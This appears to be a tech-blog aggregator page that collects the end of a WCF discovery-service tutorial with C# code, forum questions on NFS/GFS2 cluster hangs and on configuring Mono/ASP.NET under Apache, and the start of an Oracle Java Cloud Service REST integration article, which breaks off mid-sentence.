Activator.CreateInstance(Type.GetType(ConfigurationManager.AppSettings["bindingType"], true, true)) as Binding; 3: var announcementEndpoint = new AnnouncementEndpoint(announcementBinding, announcementAddress); 4: var discoveryBehavior = new ServiceDiscoveryBehavior(); 5: discoveryBehavior.AnnouncementEndpoints.Add(announcementEndpoint); 6: host.Description.Behaviors.Add(discoveryBehavior); The ServiceDiscoveryBehavior utilizes the service extension and channel dispatcher to implement the online and offline announcement logic. In short, it injected the channel open and close procedure and send the online and offline message to the announcement endpoint.   On client side, when we have the discovery service, a client can invoke a service without knowing its endpoint. WCF discovery assembly provides a class named DiscoveryClient, which can be used to find the proper service endpoint by passing the criteria. In the code below I initialized the DiscoveryClient, specified the discovery service probe endpoint address. Then I created the find criteria by specifying the service contract I wanted to use and invoke the Find method. This will send the probe message to the discovery service and it will find the endpoints back to me. The discovery service will return all endpoints that matches the find criteria, which means in the result of the find method there might be more than one endpoints. In this example I just returned the first matched one back. In the next post I will show how to extend our discovery service to make it work like a service load balancer. 1: static EndpointAddress FindServiceEndpoint() 2: { 3: var probeEndpointAddress = new EndpointAddress(ConfigurationManager.AppSettings["probeEndpointAddress"]); 4: var probeBinding = Activator.CreateInstance(Type.GetType(ConfigurationManager.AppSettings["bindingType"], true, true)) as Binding; 5: var discoveryEndpoint = new DiscoveryEndpoint(probeBinding, probeEndpointAddress); 6:  7: EndpointAddress address = null; 8: FindResponse result = null; 9: using (var discoveryClient = new DiscoveryClient(discoveryEndpoint)) 10: { 11: result = discoveryClient.Find(new FindCriteria(typeof(IStringService))); 12: } 13:  14: if (result != null && result.Endpoints.Any()) 15: { 16: var endpointMetadata = result.Endpoints.First(); 17: address = endpointMetadata.Address; 18: } 19: return address; 20: } Once we probed the discovery service we will receive the endpoint. So in the client code we can created the channel factory from the endpoint and binding, and invoke to the service. When creating the client side channel factory we need to make sure that the client side binding should be the same as the service side. WCF discovery service can be used to find the endpoint for a service contract, but the binding is NOT included. This is because the binding was not in the WS-Discovery specification. In the next post I will demonstrate how to add the binding information into the discovery service. At that moment the client don’t need to create the binding by itself. Instead it will use the binding received from the discovery service. 1: static void Main(string[] args) 2: { 3: Console.WriteLine("Say something..."); 4: var content = Console.ReadLine(); 5: while (!string.IsNullOrWhiteSpace(content)) 6: { 7: Console.WriteLine("Finding the service endpoint..."); 8: var address = FindServiceEndpoint(); 9: if (address == null) 10: { 11: Console.WriteLine("There is no endpoint matches the criteria."); 12: } 13: else 14: { 15: Console.WriteLine("Found the endpoint {0}", address.Uri); 16:  17: var factory = new ChannelFactory<IStringService>(new NetTcpBinding(), address); 18: factory.Opened += (sender, e) => 19: { 20: Console.WriteLine("Connecting to {0}.", factory.Endpoint.ListenUri); 21: }; 22: var proxy = factory.CreateChannel(); 23: using (proxy as IDisposable) 24: { 25: Console.WriteLine("ToUpper: {0} => {1}", content, proxy.ToUpper(content)); 26: } 27: } 28:  29: Console.WriteLine("Say something..."); 30: content = Console.ReadLine(); 31: } 32: } Similarly, the discovery service probe endpoint and binding were defined in the configuration file. 1: <?xml version="1.0"?> 2: <configuration> 3: <startup> 4: <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/> 5: </startup> 6: <appSettings> 7: <add key="announcementEndpointAddress" value="net.tcp://localhost:10010/announcement"/> 8: <add key="probeEndpointAddress" value="net.tcp://localhost:10011/probe"/> 9: <add key="bindingType" value="System.ServiceModel.NetTcpBinding, System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/> 10: </appSettings> 11: </configuration> OK, now let’s have a test. Firstly start the discovery service, and then start our discoverable service. When it started it will announced to the discovery service and registered its endpoint into the repository, which is the local dictionary. And then start the client and type something. As you can see the client asked the discovery service for the endpoint and then establish the connection to the discoverable service. And more interesting, do NOT close the client console but terminate the discoverable service but press the enter key. This will make the service send the offline message to the discovery service. Then start the discoverable service again. Since we made it use a different address each time it started, currently it should be hosted on another address. If we enter something in the client we could see that it asked the discovery service and retrieve the new endpoint, and connect the the service.   Summary In this post I discussed the benefit of using the discovery service and the procedures of service announcement and probe. I also demonstrated how to leverage the WCF Discovery feature in WCF 4.0 to build a simple managed discovery service. For test purpose, in this example I used the in memory dictionary as the discovery endpoint metadata repository. And when finding I also just return the first matched endpoint back. I also hard coded the bindings between the discoverable service and the client. In next post I will show you how to solve the problem mentioned above, as well as some additional feature for production usage. You can download the code here.   Hope this helps, Shaun All documents and related graphics, codes are provided "AS IS" without warranty of any kind. Copyright © Shaun Ziyan Xu. This work is licensed under the Creative Commons License.

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  • Slow NFS and GFS2 performance

    - by Tiago
    Recently I've designed and configured a 4 node cluster for a webapp that does lots of file handling. The cluster have been broken down into 2 main roles, webserver and storage. Each role is replicated to a second server using drbd in active/passive mode. The webserver does a NFS mount of the data directory of the storage server and the latter also has a webserver running to serve files to browser clients. In the storage servers I've created a GFS2 FS to hold the data which is wired to drbd. I've chose GFS2 mainly because the announced performance and also because the volume size which has to be pretty high. Since we entered production I've been facing two problems that I think are deeply connected. First of all, the NFS mount on the webservers keeps hanging for a minute or so and then resumes normal operations. By analyzing the logs I've found out that NFS stops answering for a while and outputs the following log lines: Oct 15 18:15:42 <server hostname> kernel: nfs: server active.storage.vlan not responding, still trying Oct 15 18:15:44 <server hostname> kernel: nfs: server active.storage.vlan not responding, still trying Oct 15 18:15:46 <server hostname> kernel: nfs: server active.storage.vlan not responding, still trying Oct 15 18:15:47 <server hostname> kernel: nfs: server active.storage.vlan not responding, still trying Oct 15 18:15:47 <server hostname> kernel: nfs: server active.storage.vlan not responding, still trying Oct 15 18:15:47 <server hostname> kernel: nfs: server active.storage.vlan not responding, still trying Oct 15 18:15:48 <server hostname> kernel: nfs: server active.storage.vlan not responding, still trying Oct 15 18:15:48 <server hostname> kernel: nfs: server active.storage.vlan not responding, still trying Oct 15 18:15:51 <server hostname> kernel: nfs: server active.storage.vlan not responding, still trying Oct 15 18:15:52 <server hostname> kernel: nfs: server active.storage.vlan not responding, still trying Oct 15 18:15:52 <server hostname> kernel: nfs: server active.storage.vlan not responding, still trying Oct 15 18:15:55 <server hostname> kernel: nfs: server active.storage.vlan not responding, still trying Oct 15 18:15:55 <server hostname> kernel: nfs: server active.storage.vlan not responding, still trying Oct 15 18:15:58 <server hostname> kernel: nfs: server active.storage.vlan OK Oct 15 18:15:59 <server hostname> kernel: nfs: server active.storage.vlan OK Oct 15 18:15:59 <server hostname> kernel: nfs: server active.storage.vlan OK Oct 15 18:15:59 <server hostname> kernel: nfs: server active.storage.vlan OK Oct 15 18:15:59 <server hostname> kernel: nfs: server active.storage.vlan OK Oct 15 18:15:59 <server hostname> kernel: nfs: server active.storage.vlan OK Oct 15 18:15:59 <server hostname> kernel: nfs: server active.storage.vlan OK Oct 15 18:15:59 <server hostname> kernel: nfs: server active.storage.vlan OK Oct 15 18:15:59 <server hostname> kernel: nfs: server active.storage.vlan OK Oct 15 18:15:59 <server hostname> kernel: nfs: server active.storage.vlan OK Oct 15 18:15:59 <server hostname> kernel: nfs: server active.storage.vlan OK Oct 15 18:15:59 <server hostname> kernel: nfs: server active.storage.vlan OK Oct 15 18:15:59 <server hostname> kernel: nfs: server active.storage.vlan OK In this case, the hang lasted for 16 seconds but sometimes it takes 1 or 2 minutes to resume normal operations. My first guess was this was happening due to heavy load of the NFS mount and that by increasing RPCNFSDCOUNT to a higher value, this would become stable. I've increased it several times and apparently, after a while, the logs started appearing less times. The value is now on 32. After further investigating the issue, I've came across a different hang, despite the NFS messages still appear in the logs. Sometimes, the GFS2 FS simply hangs which causes both the NFS and the storage webserver to serve files. Both stay hang for a while and then they resume normal operations. This hangs leaves no trace on client side (also leaves no NFS ... not responding messages) and, on the storage side, the log system appears to be empty, even though the rsyslogd is running. The nodes connect themselves through a 10Gbps non-dedicated connection but I don't think this is an issue because the GFS2 hang is confirmed but connecting directly to the active storage server. I've been trying to solve this for a while now and I've tried different NFS configuration options, before I've found out the GFS2 FS is also hanging. The NFS mount is exported as such: /srv/data/ <ip_address>(rw,async,no_root_squash,no_all_squash,fsid=25) And the NFS client mounts with: mount -o "async,hard,intr,wsize=8192,rsize=8192" active.storage.vlan:/srv/data /srv/data After some tests, these were the configurations that yielded more performance to the cluster. I am desperate to find a solution for this as the cluster is already in production mode and I need to fix this so that this hangs won't happen in the future and I don't really know for sure what and how I should be benchmarking. What I can tell is that this is happening due to heavy loads as I have tested the cluster earlier and this problems weren't happening at all. Please tell me if you need me to provide configuration details of the cluster, and which do you want me to post. As last resort I can migrate the files to a different FS but I need some solid pointers on whether this will solve this problems as the volume size is extremely large at this point. The servers are being hosted by a third-party enterprise and I don't have physical access to them. Best regards. EDIT 1: The servers are physical servers and their specs are: Webservers: Intel Bi Xeon E5606 2x4 2.13GHz 24GB DDR3 Intel SSD 320 2 x 120GB Raid 1 Storage: Intel i5 3550 3.3GHz 16GB DDR3 12 x 2TB SATA Initially there was a VRack setup between the servers but we've upgraded one of the storage servers to have more RAM and it wasn't inside the VRack. They connect through a shared 10Gbps connection between them. Please note that it is the same connection that is used for public access. They use a single IP (using IP Failover) to connect between them and to allow for a graceful failover. NFS is therefore over a public connection and not under any private network (it was before the upgrade, were the problem still existed). The firewall was configured and tested thoroughly but I disabled it for a while to see if the problem still occurred, and it did. From my knowledge the hosting provider isn't blocking or limiting the connection between either the servers and the public domain (at least under a given bandwidth consumption threshold that hasn't been reached yet). Hope this helps figuring out the problem. EDIT 2: Relevant software versions: CentOS 2.6.32-279.9.1.el6.x86_64 nfs-utils-1.2.3-26.el6.x86_64 nfs-utils-lib-1.1.5-4.el6.x86_64 gfs2-utils-3.0.12.1-32.el6_3.1.x86_64 kmod-drbd84-8.4.2-1.el6_3.elrepo.x86_64 drbd84-utils-8.4.2-1.el6.elrepo.x86_64 DRBD configuration on storage servers: #/etc/drbd.d/storage.res resource storage { protocol C; on <server1 fqdn> { device /dev/drbd0; disk /dev/vg_storage/LV_replicated; address <server1 ip>:7788; meta-disk internal; } on <server2 fqdn> { device /dev/drbd0; disk /dev/vg_storage/LV_replicated; address <server2 ip>:7788; meta-disk internal; } } NFS Configuration in storage servers: #/etc/sysconfig/nfs RPCNFSDCOUNT=32 STATD_PORT=10002 STATD_OUTGOING_PORT=10003 MOUNTD_PORT=10004 RQUOTAD_PORT=10005 LOCKD_UDPPORT=30001 LOCKD_TCPPORT=30001 (can there be any conflict in using the same port for both LOCKD_UDPPORT and LOCKD_TCPPORT?) GFS2 configuration: # gfs2_tool gettune <mountpoint> incore_log_blocks = 1024 log_flush_secs = 60 quota_warn_period = 10 quota_quantum = 60 max_readahead = 262144 complain_secs = 10 statfs_slow = 0 quota_simul_sync = 64 statfs_quantum = 30 quota_scale = 1.0000 (1, 1) new_files_jdata = 0 Storage network environment: eth0 Link encap:Ethernet HWaddr <mac address> inet addr:<ip address> Bcast:<bcast address> Mask:<ip mask> inet6 addr: <ip address> Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:957025127 errors:0 dropped:0 overruns:0 frame:0 TX packets:1473338731 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:2630984979622 (2.3 TiB) TX bytes:1648430431523 (1.4 TiB) eth0:0 Link encap:Ethernet HWaddr <mac address> inet addr:<ip failover address> Bcast:<bcast address> Mask:<ip mask> UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 The IP addresses are statically assigned with the given network configurations: DEVICE="eth0" BOOTPROTO="static" HWADDR=<mac address> ONBOOT="yes" TYPE="Ethernet" IPADDR=<ip address> NETMASK=<net mask> and DEVICE="eth0:0" BOOTPROTO="static" HWADDR=<mac address> IPADDR=<ip failover> NETMASK=<net mask> ONBOOT="yes" BROADCAST=<bcast address> Hosts file to allow for a graceful NFS failover in conjunction with NFS option fsid=25 set on both storage servers: #/etc/hosts <storage ip failover address> active.storage.vlan <webserver ip failover address> active.service.vlan As you can see, packet errors are down to 0. I've also ran ping for a long time without any packet loss. MTU size is the normal 1500. As there is no VLan by now, this is the MTU used to communicate between servers. The webservers' network environment is similar. One thing I forgot to mention is that the storage servers handle ~200GB of new files each day through the NFS connection, which is a key point for me to think this is some kind of heavy load problem with either NFS or GFS2. If you need further configuration details please tell me. EDIT 3: Earlier today we had a major filesystem crash on the storage server. I couldn't get the details of the crash right away because the server stop responding. After the reboot, I noticed the filesystem was extremely slow, and I was not being able to serve a single file through either NFS or httpd, perhaps due to cache warming or so. Nevertheless, I've been monitoring the server closely and the following error came up in dmesg. The source of the problem is clearly GFS, which is waiting for a lock and ends up starving after a while. INFO: task nfsd:3029 blocked for more than 120 seconds. "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. nfsd D 0000000000000000 0 3029 2 0x00000080 ffff8803814f79e0 0000000000000046 0000000000000000 ffffffff8109213f ffff880434c5e148 ffff880624508d88 ffff8803814f7960 ffffffffa037253f ffff8803815c1098 ffff8803814f7fd8 000000000000fb88 ffff8803815c1098 Call Trace: [<ffffffff8109213f>] ? wake_up_bit+0x2f/0x40 [<ffffffffa037253f>] ? gfs2_holder_wake+0x1f/0x30 [gfs2] [<ffffffff814ff42e>] __mutex_lock_slowpath+0x13e/0x180 [<ffffffff814ff2cb>] mutex_lock+0x2b/0x50 [<ffffffffa0379f21>] gfs2_log_reserve+0x51/0x190 [gfs2] [<ffffffffa0390da2>] gfs2_trans_begin+0x112/0x1d0 [gfs2] [<ffffffffa0369b05>] ? gfs2_dir_check+0x35/0xe0 [gfs2] [<ffffffffa0377943>] gfs2_createi+0x1a3/0xaa0 [gfs2] [<ffffffff8121aab1>] ? avc_has_perm+0x71/0x90 [<ffffffffa0383d1e>] gfs2_create+0x7e/0x1a0 [gfs2] [<ffffffffa037783f>] ? gfs2_createi+0x9f/0xaa0 [gfs2] [<ffffffff81188cf4>] vfs_create+0xb4/0xe0 [<ffffffffa04217d6>] nfsd_create_v3+0x366/0x4c0 [nfsd] [<ffffffffa0429703>] nfsd3_proc_create+0x123/0x1b0 [nfsd] [<ffffffffa041a43e>] nfsd_dispatch+0xfe/0x240 [nfsd] [<ffffffffa025a5d4>] svc_process_common+0x344/0x640 [sunrpc] [<ffffffff810602a0>] ? default_wake_function+0x0/0x20 [<ffffffffa025ac10>] svc_process+0x110/0x160 [sunrpc] [<ffffffffa041ab62>] nfsd+0xc2/0x160 [nfsd] [<ffffffffa041aaa0>] ? nfsd+0x0/0x160 [nfsd] [<ffffffff81091de6>] kthread+0x96/0xa0 [<ffffffff8100c14a>] child_rip+0xa/0x20 [<ffffffff81091d50>] ? kthread+0x0/0xa0 [<ffffffff8100c140>] ? child_rip+0x0/0x20

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  • Setting up Mono/ASP.NET 4.0 on Apache2/Ubuntu: Virtual hosts?

    - by Dave
    I'm attempting to setup Mono/ASP.NET 4.0 on my Apache server (which is running on Ubuntu). Thus far, I've been following a few tutorials/scripts supplied here, and here. As of now: Apache 2.2 is installed (accessible via 'localhost') Mono 2.10.5 is installed However, I'm struggling to configure Apache correctly... apparently the Virtual Host setting isn't doing its job and invoking the mod_mono plugin, nor is it even pulling source from the proper directory. While the Virtual Host setting points to '\srv\www\localhost', it clearly is pulling content instead from 'var/www/', which I've found is the default DocumentRoot for virtual hosts. I can confirm: "/opt/mono-2.10/bin/mod-mono-server4" exists. Virtual hosts file is being read, since undoing the comment in the main httpd.conf changed the root directory from 'htdocs' to 'var/www/' The Mono installation is at least semi-capable of running ASP 4.0, as evidenced by running XSP, navigating to 0.0.0.0:8080/ and getting an ASP.NET style error page with "Mono ASP 4.0.x" at the bottom. Can anyone point out how to fix these configurations and get Mono linked up with Apache? Here are my configs and relevant information: /usr/local/apache2/conf/httpd.conf: # # This is the main Apache HTTP server configuration file. It contains the # configuration directives that give the server its instructions. # See <URL:http://httpd.apache.org/docs/2.2> for detailed information. # In particular, see # <URL:http://httpd.apache.org/docs/2.2/mod/directives.html> # for a discussion of each configuration directive. # # Do NOT simply read the instructions in here without understanding # what they do. They're here only as hints or reminders. If you are unsure # consult the online docs. You have been warned. # # Configuration and logfile names: If the filenames you specify for many # of the server's control files begin with "/" (or "drive:/" for Win32), the # server will use that explicit path. If the filenames do *not* begin # with "/", the value of ServerRoot is prepended -- so "logs/foo_log" # with ServerRoot set to "/usr/local/apache2" will be interpreted by the # server as "/usr/local/apache2/logs/foo_log". # # ServerRoot: The top of the directory tree under which the server's # configuration, error, and log files are kept. # # Do not add a slash at the end of the directory path. If you point # ServerRoot at a non-local disk, be sure to point the LockFile directive # at a local disk. If you wish to share the same ServerRoot for multiple # httpd daemons, you will need to change at least LockFile and PidFile. # ServerRoot "/usr/local/apache2" # # Listen: Allows you to bind Apache to specific IP addresses and/or # ports, instead of the default. See also the <VirtualHost> # directive. # # Change this to Listen on specific IP addresses as shown below to # prevent Apache from glomming onto all bound IP addresses. # #Listen 12.34.56.78:80 Listen 80 # # Dynamic Shared Object (DSO) Support # # To be able to use the functionality of a module which was built as a DSO you # have to place corresponding `LoadModule' lines at this location so the # directives contained in it are actually available _before_ they are used. # Statically compiled modules (those listed by `httpd -l') do not need # to be loaded here. # # Example: # LoadModule foo_module modules/mod_foo.so # <IfModule !mpm_netware_module> <IfModule !mpm_winnt_module> # # If you wish httpd to run as a different user or group, you must run # httpd as root initially and it will switch. # # User/Group: The name (or #number) of the user/group to run httpd as. # It is usually good practice to create a dedicated user and group for # running httpd, as with most system services. # User daemon Group daemon </IfModule> </IfModule> # 'Main' server configuration # # The directives in this section set up the values used by the 'main' # server, which responds to any requests that aren't handled by a # <VirtualHost> definition. These values also provide defaults for # any <VirtualHost> containers you may define later in the file. # # All of these directives may appear inside <VirtualHost> containers, # in which case these default settings will be overridden for the # virtual host being defined. # # # ServerAdmin: Your address, where problems with the server should be # e-mailed. This address appears on some server-generated pages, such # as error documents. e.g. [email protected] # ServerAdmin david@localhost # # ServerName gives the name and port that the server uses to identify itself. # This can often be determined automatically, but we recommend you specify # it explicitly to prevent problems during startup. # # If your host doesn't have a registered DNS name, enter its IP address here. # ServerName localhost:80 # # DocumentRoot: The directory out of which you will serve your # documents. By default, all requests are taken from this directory, but # symbolic links and aliases may be used to point to other locations. # DocumentRoot "/usr/local/apache2/htdocs" # # Each directory to which Apache has access can be configured with respect # to which services and features are allowed and/or disabled in that # directory (and its subdirectories). # # First, we configure the "default" to be a very restrictive set of # features. # <Directory /> Options FollowSymLinks AllowOverride None Order deny,allow Deny from all </Directory> # # Note that from this point forward you must specifically allow # particular features to be enabled - so if something's not working as # you might expect, make sure that you have specifically enabled it # below. # # # This should be changed to whatever you set DocumentRoot to. # <Directory "/usr/local/apache2/htdocs"> # # Possible values for the Options directive are "None", "All", # or any combination of: # Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews # # Note that "MultiViews" must be named *explicitly* --- "Options All" # doesn't give it to you. # # The Options directive is both complicated and important. Please see # http://httpd.apache.org/docs/2.2/mod/core.html#options # for more information. # Options Indexes FollowSymLinks # # AllowOverride controls what directives may be placed in .htaccess files. # It can be "All", "None", or any combination of the keywords: # Options FileInfo AuthConfig Limit # AllowOverride None # # Controls who can get stuff from this server. # Order allow,deny Allow from all </Directory> # # DirectoryIndex: sets the file that Apache will serve if a directory # is requested. # <IfModule dir_module> DirectoryIndex index.html </IfModule> # # The following lines prevent .htaccess and .htpasswd files from being # viewed by Web clients. # <FilesMatch "^\.ht"> Order allow,deny Deny from all Satisfy All </FilesMatch> # # ErrorLog: The location of the error log file. # If you do not specify an ErrorLog directive within a <VirtualHost> # container, error messages relating to that virtual host will be # logged here. If you *do* define an error logfile for a <VirtualHost> # container, that host's errors will be logged there and not here. # ErrorLog "logs/error_log" # # LogLevel: Control the number of messages logged to the error_log. # Possible values include: debug, info, notice, warn, error, crit, # alert, emerg. # LogLevel warn <IfModule log_config_module> # # The following directives define some format nicknames for use with # a CustomLog directive (see below). # LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined LogFormat "%h %l %u %t \"%r\" %>s %b" common <IfModule logio_module> # You need to enable mod_logio.c to use %I and %O LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I %O" combinedio </IfModule> # # The location and format of the access logfile (Common Logfile Format). # If you do not define any access logfiles within a <VirtualHost> # container, they will be logged here. Contrariwise, if you *do* # define per-<VirtualHost> access logfiles, transactions will be # logged therein and *not* in this file. # CustomLog "logs/access_log" common # # If you prefer a logfile with access, agent, and referer information # (Combined Logfile Format) you can use the following directive. # #CustomLog "logs/access_log" combined </IfModule> <IfModule alias_module> # # Redirect: Allows you to tell clients about documents that used to # exist in your server's namespace, but do not anymore. The client # will make a new request for the document at its new location. # Example: # Redirect permanent /foo http://www.example.com/bar # # Alias: Maps web paths into filesystem paths and is used to # access content that does not live under the DocumentRoot. # Example: # Alias /webpath /full/filesystem/path # # If you include a trailing / on /webpath then the server will # require it to be present in the URL. You will also likely # need to provide a <Directory> section to allow access to # the filesystem path. # # ScriptAlias: This controls which directories contain server scripts. # ScriptAliases are essentially the same as Aliases, except that # documents in the target directory are treated as applications and # run by the server when requested rather than as documents sent to the # client. The same rules about trailing "/" apply to ScriptAlias # directives as to Alias. # ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/" </IfModule> <IfModule cgid_module> # # ScriptSock: On threaded servers, designate the path to the UNIX # socket used to communicate with the CGI daemon of mod_cgid. # #Scriptsock logs/cgisock </IfModule> # # "/usr/local/apache2/cgi-bin" should be changed to whatever your ScriptAliased # CGI directory exists, if you have that configured. # <Directory "/usr/local/apache2/cgi-bin"> AllowOverride None Options None Order allow,deny Allow from all </Directory> # # DefaultType: the default MIME type the server will use for a document # if it cannot otherwise determine one, such as from filename extensions. # If your server contains mostly text or HTML documents, "text/plain" is # a good value. If most of your content is binary, such as applications # or images, you may want to use "application/octet-stream" instead to # keep browsers from trying to display binary files as though they are # text. # DefaultType text/plain <IfModule mime_module> # # TypesConfig points to the file containing the list of mappings from # filename extension to MIME-type. # TypesConfig conf/mime.types # # AddType allows you to add to or override the MIME configuration # file specified in TypesConfig for specific file types. # #AddType application/x-gzip .tgz # # AddEncoding allows you to have certain browsers uncompress # information on the fly. Note: Not all browsers support this. # #AddEncoding x-compress .Z #AddEncoding x-gzip .gz .tgz # # If the AddEncoding directives above are commented-out, then you # probably should define those extensions to indicate media types: # AddType application/x-compress .Z AddType application/x-gzip .gz .tgz # # AddHandler allows you to map certain file extensions to "handlers": # actions unrelated to filetype. These can be either built into the server # or added with the Action directive (see below) # # To use CGI scripts outside of ScriptAliased directories: # (You will also need to add "ExecCGI" to the "Options" directive.) # #AddHandler cgi-script .cgi # For type maps (negotiated resources): #AddHandler type-map var # # Filters allow you to process content before it is sent to the client. # # To parse .shtml files for server-side includes (SSI): # (You will also need to add "Includes" to the "Options" directive.) # #AddType text/html .shtml #AddOutputFilter INCLUDES .shtml </IfModule> # # The mod_mime_magic module allows the server to use various hints from the # contents of the file itself to determine its type. The MIMEMagicFile # directive tells the module where the hint definitions are located. # #MIMEMagicFile conf/magic # # Customizable error responses come in three flavors: # 1) plain text 2) local redirects 3) external redirects # # Some examples: #ErrorDocument 500 "The server made a boo boo." #ErrorDocument 404 /missing.html #ErrorDocument 404 "/cgi-bin/missing_handler.pl" #ErrorDocument 402 http://www.example.com/subscription_info.html # # # MaxRanges: Maximum number of Ranges in a request before # returning the entire resource, or 0 for unlimited # Default setting is to accept 200 Ranges #MaxRanges 0 # # EnableMMAP and EnableSendfile: On systems that support it, # memory-mapping or the sendfile syscall is used to deliver # files. This usually improves server performance, but must # be turned off when serving from networked-mounted # filesystems or if support for these functions is otherwise # broken on your system. # #EnableMMAP off #EnableSendfile off # Supplemental configuration # # The configuration files in the conf/extra/ directory can be # included to add extra features or to modify the default configuration of # the server, or you may simply copy their contents here and change as # necessary. # Server-pool management (MPM specific) #Include conf/extra/httpd-mpm.conf # Multi-language error messages #Include conf/extra/httpd-multilang-errordoc.conf # Fancy directory listings #Include conf/extra/httpd-autoindex.conf # Language settings #Include conf/extra/httpd-languages.conf # User home directories #Include conf/extra/httpd-userdir.conf # Real-time info on requests and configuration #Include conf/extra/httpd-info.conf # Virtual hosts Include conf/extra/httpd-vhosts.conf # Local access to the Apache HTTP Server Manual #Include conf/extra/httpd-manual.conf # Distributed authoring and versioning (WebDAV) #Include conf/extra/httpd-dav.conf # Various default settings #Include conf/extra/httpd-default.conf # Secure (SSL/TLS) connections #Include conf/extra/httpd-ssl.conf # # Note: The following must must be present to support # starting without SSL on platforms with no /dev/random equivalent # but a statically compiled-in mod_ssl. # <IfModule ssl_module> SSLRandomSeed startup builtin SSLRandomSeed connect builtin </IfModule> * /usr/local/apache2/conf/extra/httpd-vhosts.conf * # # Virtual Hosts # # If you want to maintain multiple domains/hostnames on your # machine you can setup VirtualHost containers for them. Most configurations # use only name-based virtual hosts so the server doesn't need to worry about # IP addresses. This is indicated by the asterisks in the directives below. # # Please see the documentation at # <URL:http://httpd.apache.org/docs/2.2/vhosts/> # for further details before you try to setup virtual hosts. # # You may use the command line option '-S' to verify your virtual host # configuration. # # Use name-based virtual hosting. # NameVirtualHost *:80 # # VirtualHost example: # Almost any Apache directive may go into a VirtualHost container. # The first VirtualHost section is used for all requests that do not # match a ServerName or ServerAlias in any <VirtualHost> block. # <VirtualHost *:80> ServerName localhost ServerAdmin david@localhost DocumentRoot "/srv/www/localhost" # MonoServerPath can be changed to specify which version of ASP.NET is hosted # mod-mono-server1 = ASP.NET 1.1 / mod-mono-server2 = ASP.NET 2.0 # For SUSE Linux Enterprise Mono Extension, uncomment the line below: # MonoServerPath localhost "/opt/novell/mono/bin/mod-mono-server2" # For Mono on openSUSE, uncomment the line below instead: MonoServerPath localhost "/opt/mono-2.10/bin/mod-mono-server4" # To obtain line numbers in stack traces you need to do two things: # 1) Enable Debug code generation in your page by using the Debug="true" # page directive, or by setting <compilation debug="true" /> in the # application's Web.config # 2) Uncomment the MonoDebug true directive below to enable mod_mono debugging MonoDebug localhost true # The MONO_IOMAP environment variable can be configured to provide platform abstraction # for file access in Linux. Valid values for MONO_IOMAP are: # case # drive # all # Uncomment the line below to alter file access behavior for the configured application MonoSetEnv localhost PATH=/opt/mono-2.10/bin:$PATH;LD_LIBRARY_PATH=/opt/mono-2.10/lib:$LD_LIBRARY_PATH; # # Additional environtment variables can be set for this server instance using # the MonoSetEnv directive. MonoSetEnv takes a string of 'name=value' pairs # separated by semicolons. For instance, to enable platform abstraction *and* # use Mono's old regular expression interpreter (which is slower, but has a # shorter setup time), uncomment the line below instead: # MonoSetEnv localhost MONO_IOMAP=all;MONO_OLD_RX=1 MonoApplications localhost "/:/srv/www/localhost" <Location "/"> Allow from all Order allow,deny MonoSetServerAlias localhost SetHandler mono SetOutputFilter DEFLATE SetEnvIfNoCase Request_URI "\.(?:gif|jpe?g|png)$" no-gzip dont-vary </Location> <IfModule mod_deflate.c> AddOutputFilterByType DEFLATE text/html text/plain text/xml text/javascript </IfModule> </VirtualHost> <VirtualHost *:80> ServerAdmin [email protected] DocumentRoot "/usr/local/apache2/docs/dummy-host.example.com" ServerName dummy-host.example.com ServerAlias www.dummy-host.example.com ErrorLog "logs/dummy-host.example.com-error_log" CustomLog "logs/dummy-host.example.com-access_log" common </VirtualHost> <VirtualHost *:80> ServerAdmin [email protected] DocumentRoot "/usr/local/apache2/docs/dummy-host2.example.com" ServerName dummy-host2.example.com ErrorLog "logs/dummy-host2.example.com-error_log" CustomLog "logs/dummy-host2.example.com-access_log" common </VirtualHost> mono -V output: root@david-ubuntu:~# mono -V Mono JIT compiler version 2.6.7 (Debian 2.6.7-5ubuntu3) Copyright (C) 2002-2010 Novell, Inc and Contributors. www.mono-project.com TLS: __thread GC: Included Boehm (with typed GC and Parallel Mark) SIGSEGV: altstack Notifications: epoll Architecture: amd64 Disabled: none

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  • Java Cloud Service Integration to REST Service

    - by Jani Rautiainen
    Service (JCS) provides a platform to develop and deploy business applications in the cloud. In Fusion Applications Cloud deployments customers do not have the option to deploy custom applications developed with JDeveloper to ensure the integrity and supportability of the hosted application service. Instead the custom applications can be deployed to the JCS and integrated to the Fusion Application Cloud instance. This series of articles will go through the features of JCS, provide end-to-end examples on how to develop and deploy applications on JCS and how to integrate them with the Fusion Applications instance. In this article a custom application integrating with REST service will be implemented. We will use REST services provided by Taleo as an example; however the same approach will work with any REST service. In this example the data from the REST service is used to populate a dynamic table. Pre-requisites Access to Cloud instance In order to deploy the application access to a JCS instance is needed, a free trial JCS instance can be obtained from Oracle Cloud site. To register you will need a credit card even if the credit card will not be charged. To register simply click "Try it" and choose the "Java" option. The confirmation email will contain the connection details. See this video for example of the registration.Once the request is processed you will be assigned 2 service instances; Java and Database. Applications deployed to the JCS must use Oracle Database Cloud Service as their underlying database. So when JCS instance is created a database instance is associated with it using a JDBC data source.The cloud services can be monitored and managed through the web UI. For details refer to Getting Started with Oracle Cloud. JDeveloper JDeveloper contains Cloud specific features related to e.g. connection and deployment. To use these features download the JDeveloper from JDeveloper download site by clicking the "Download JDeveloper 11.1.1.7.1 for ADF deployment on Oracle Cloud" link, this version of JDeveloper will have the JCS integration features that will be used in this article. For versions that do not include the Cloud integration features the Oracle Java Cloud Service SDK or the JCS Java Console can be used for deployment. For details on installing and configuring the JDeveloper refer to the installation guideFor details on SDK refer to Using the Command-Line Interface to Monitor Oracle Java Cloud Service and Using the Command-Line Interface to Manage Oracle Java Cloud Service. Access to a local database The database associated with the JCS instance cannot be connected to with JDBC.  Since creating ADFbc business component requires a JDBC connection we will need access to a local database. 3rd party libraries This example will use some 3rd party libraries for implementing the REST service call and processing the input / output content. Other libraries may also be used, however these are tested to work. Jersey 1.x Jersey library will be used as a client to make the call to the 